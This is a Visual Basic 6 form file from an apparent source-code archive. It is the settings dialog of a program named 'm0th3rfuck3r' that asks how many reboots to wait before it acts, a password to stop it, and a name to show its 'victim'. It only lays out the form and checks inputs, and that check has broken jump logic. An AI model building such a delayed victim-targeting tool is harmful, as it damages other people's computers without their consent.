home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD33732132000.psc / Form2.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  2000-02-09  |  4.6 KB  |  156 lines
  1. VERSION 5.00
  2. Begin VB.Form Form2 
  3.    BorderStyle     =   1  'Fixed Single
  4.    Caption         =   "m0th3rfuck3r SETTINGS"
  5.    ClientHeight    =   3900
  6.    ClientLeft      =   45
  7.    ClientTop       =   330
  8.    ClientWidth     =   4965
  9.    ControlBox      =   0   'False
  10.    LinkTopic       =   "Form2"
  11.    MaxButton       =   0   'False
  12.    MinButton       =   0   'False
  13.    ScaleHeight     =   3900
  14.    ScaleWidth      =   4965
  15.    StartUpPosition =   3  'Windows Default
  16.    Begin VB.CommandButton Command2 
  17.       Caption         =   "Quit"
  18.       Height          =   495
  19.       Left            =   960
  20.       TabIndex        =   11
  21.       Top             =   3360
  22.       Width           =   2415
  23.    End
  24.    Begin VB.CommandButton Command1 
  25.       Caption         =   "Install with these settings"
  26.       Height          =   495
  27.       Left            =   960
  28.       TabIndex        =   10
  29.       Top             =   2760
  30.       Width           =   2415
  31.    End
  32.    Begin VB.TextBox Text3 
  33.       Height          =   285
  34.       Left            =   1200
  35.       TabIndex        =   8
  36.       Top             =   2040
  37.       Width           =   1935
  38.    End
  39.    Begin VB.TextBox Text2 
  40.       Height          =   285
  41.       IMEMode         =   3  'DISABLE
  42.       Left            =   2880
  43.       PasswordChar    =   "*"
  44.       TabIndex        =   6
  45.       Top             =   1560
  46.       Width           =   1815
  47.    End
  48.    Begin VB.TextBox Text1 
  49.       Height          =   285
  50.       IMEMode         =   3  'DISABLE
  51.       Left            =   600
  52.       PasswordChar    =   "*"
  53.       TabIndex        =   4
  54.       Top             =   1560
  55.       Width           =   1695
  56.    End
  57.    Begin VB.ListBox List1 
  58.       Height          =   255
  59.       ItemData        =   "Form2.frx":0000
  60.       Left            =   2520
  61.       List            =   "Form2.frx":0019
  62.       Sorted          =   -1  'True
  63.       TabIndex        =   2
  64.       Top             =   480
  65.       Width           =   1335
  66.    End
  67.    Begin VB.Label Label6 
  68.       Caption         =   "this name will be shown every time... the victim has been fucked!"
  69.       Height          =   615
  70.       Left            =   3240
  71.       TabIndex        =   9
  72.       Top             =   2040
  73.       Width           =   1575
  74.    End
  75.    Begin VB.Label Label5 
  76.       Caption         =   "Enter a name:"
  77.       Height          =   255
  78.       Left            =   120
  79.       TabIndex        =   7
  80.       Top             =   2040
  81.       Width           =   1095
  82.    End
  83.    Begin VB.Label Label4 
  84.       Caption         =   "Enter same pwd"
  85.       Height          =   255
  86.       Left            =   2880
  87.       TabIndex        =   5
  88.       Top             =   1320
  89.       Width           =   1575
  90.    End
  91.    Begin VB.Label Label3 
  92.       Caption         =   "Wich password to get off with the fuck?"
  93.       Height          =   375
  94.       Left            =   120
  95.       TabIndex        =   3
  96.       Top             =   1320
  97.       Width           =   2535
  98.    End
  99.    Begin VB.Line Line3 
  100.       X1              =   3960
  101.       X2              =   0
  102.       Y1              =   1200
  103.       Y2              =   1200
  104.    End
  105.    Begin VB.Line Line2 
  106.       X1              =   3960
  107.       X2              =   3960
  108.       Y1              =   360
  109.       Y2              =   1200
  110.    End
  111.    Begin VB.Line Line1 
  112.       X1              =   0
  113.       X2              =   3960
  114.       Y1              =   360
  115.       Y2              =   360
  116.    End
  117.    Begin VB.Label Label2 
  118.       Caption         =   "How many times should the computer be rebooted before m0therfucker starts to FUCK?"
  119.       Height          =   615
  120.       Left            =   240
  121.       TabIndex        =   1
  122.       Top             =   480
  123.       Width           =   2175
  124.    End
  125.    Begin VB.Label Label1 
  126.       Caption         =   "Time to make some settings!!!"
  127.       Height          =   255
  128.       Left            =   720
  129.       TabIndex        =   0
  130.       Top             =   0
  131.       Width           =   3015
  132.    End
  133. Attribute VB_Name = "Form2"
  134. Attribute VB_GlobalNameSpace = False
  135. Attribute VB_Creatable = False
  136. Attribute VB_PredeclaredId = True
  137. Attribute VB_Exposed = False
  138. Private Sub Command1_Click()
  139. ' mother fucker was written by 
  140. 3raptor
  141. Dim crackme As String
  142. crackme = List1
  143. If crackme < "" Then GoTo 100 Else GoTo 200
  144. 100 MsgBox "Sorry... no value selected in listbox!!!"
  145. GoTo 15
  146. If Text1 = Text2 Then GoTo 1 Else GoTo 2
  147. 1 GoTo 3
  148. 2 MsgBox "The passwords did'nt matched each other!", vbExclamation, "ERROR!"
  149. GoTo 15
  150. 3 If Text3 > "" Then GoTo 4 Else GoTo 5
  151. 4 Me.Hide
  152. Form3.Show
  153. GoTo 15
  154. 5 MsgBox "No name entered..."
  155. 15 End Sub
  156.